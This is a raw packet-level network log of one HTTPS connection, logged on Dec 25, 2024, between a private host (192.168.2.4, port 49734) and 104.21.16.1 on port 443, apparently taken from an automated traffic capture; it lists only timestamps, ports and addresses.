Dec 25, 2024 15:09:10.578270912 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.579642057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.579703093 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.581068039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.581127882 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.582442045 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.582489014 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.585180044 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.585237026 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.588026047 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.588105917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.591685057 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.591758013 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.593106031 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.593159914 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.594546080 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.594604969 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.595982075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.596035004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.597373009 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.597426891 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.598910093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.598951101 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.600353003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.600408077 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.604324102 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.604383945 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.654061079 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.654103994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.654129982 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.654752970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.654808044 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.656038046 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.656096935 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.658799887 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.658871889 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.660129070 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.660188913 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.661453962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.661514044 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.701512098 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.701606989 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.702280998 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.702332973 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.703542948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.703599930 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.741354942 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.741415024 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.741555929 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.741611004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.742656946 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.742727995 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.744559050 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.744620085 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.745574951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.745625019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.746608019 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.746659994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.747553110 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.747613907 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.748557091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.748647928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.749633074 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.749686003 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.750571966 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.750628948 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.751616001 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.751668930 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.752558947 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.752619982 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.754702091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.754770041 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.755696058 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.755763054 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.756560087 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.756609917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.756668091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.758698940 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.758753061 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.758774996 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.758841038 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.759627104 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.759680986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.759726048 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.761681080 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.761742115 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.761759043 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.761811018 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.761823893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.762759924 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.762826920 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.762840986 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.764656067 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.764729977 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.764744043 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.764816046 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.765676975 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.765741110 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.766658068 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.766725063 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.767833948 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.767900944 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.769793034 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.769881964 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.772258043 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.772320986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.773202896 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.773276091 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.774295092 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.774379969 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.776293039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.776360035 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.777414083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.777467966 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.778506994 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.778573036 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.779344082 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.779407024 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.780327082 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.780384064 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.781320095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.781380892 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.782326937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.782387972 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.847866058 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.847887039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.847949982 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.847980976 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.847991943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.848803043 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.848860025 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.848867893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.849725962 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.849781036 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.849788904 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.893874884 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.893930912 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.893944025 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.893954992 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.893997908 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.894923925 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.894987106 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.895921946 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.895977974 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.933620930 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.933674097 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.933789015 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.933837891 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.936631918 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.936703920 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.937561989 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.937614918 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.938472986 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.938528061 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.939392090 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.939443111 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.940329075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.940399885 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.942001104 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.942054987 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.943639040 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.943706036 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.944504976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.944566011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.945544958 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.945597887 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.945714951 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.945812941 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.947293997 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.947371006 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.949064970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.949130058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.950023890 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.950079918 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.950825930 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.950880051 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.951927900 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.951981068 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.952671051 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.952724934 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.952775955 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.952819109 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.956304073 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.956374884 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.956446886 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.956499100 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.956558943 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.956609011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.959198952 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.959254026 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.959392071 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.959440947 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.960813999 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.960877895 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.961374044 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.961453915 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.962272882 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.962333918 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.963238955 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.963295937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.964042902 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.964113951 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.964912891 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.964972019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.965756893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.965817928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.966723919 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.966790915 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.967719078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.967789888 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.969425917 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.969482899 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:10.971265078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:10.971369028 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.038822889 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.038928032 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.039645910 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.039707899 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.041383028 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.041440964 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.042367935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.042424917 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.044095039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.044182062 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.086150885 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.086221933 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.087522984 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.087590933 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.125766039 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.125840902 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.126880884 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.126948118 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.127831936 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.127916098 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.129375935 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.129916906 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.130361080 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.130425930 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.131200075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.131263971 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.135515928 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.135565042 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.135592937 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.135603905 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.135627985 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.137142897 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.137201071 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.137211084 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.140693903 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.140732050 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.140753031 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.140762091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.140789032 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.142417908 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.142478943 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.142487049 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.142535925 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.143341064 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.143397093 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.144644976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.144706011 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.146262884 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.146327019 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.147056103 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.147124052 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.148802042 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.148870945 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.149409056 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.149470091 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.150810003 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.150873899 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.152164936 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.152236938 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.153145075 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.153211117 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.154661894 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.154726028 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.155530930 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.155596972 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.155651093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.157282114 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.157344103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.157356024 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.157398939 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.158178091 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.158240080 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.159917116 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.159980059 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.160670042 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.160732031 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.161669970 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.161735058 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.230799913 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.230873108 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.232150078 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.232218981 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.233057976 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.233114004 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.234628916 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.234690905 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.278424978 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.278490067 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.280153990 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.280220032 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.318144083 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.318212986 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.319670916 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.319737911 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.321296930 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.321367979 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.322238922 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.322302103 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.323928118 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.323992014 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.325421095 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.325468063 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.329605103 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.329646111 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.329667091 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.329675913 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.329705000 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.329721928 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.331310987 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.331379890 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.332946062 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.333012104 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.334517002 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.334583044 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.336191893 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.336271048 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.337078094 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.337213039 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.337909937 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.337966919 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.338776112 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.338829994 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.341171980 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.341243982 CET	49734	443	192.168.2.4	104.21.16.1
Dec 25, 2024 15:09:11.342765093 CET	443	49734	104.21.16.1	192.168.2.4
Dec 25, 2024 15:09:11.342828035 CET	49734	443	192.168.2.4	104.21.16.1
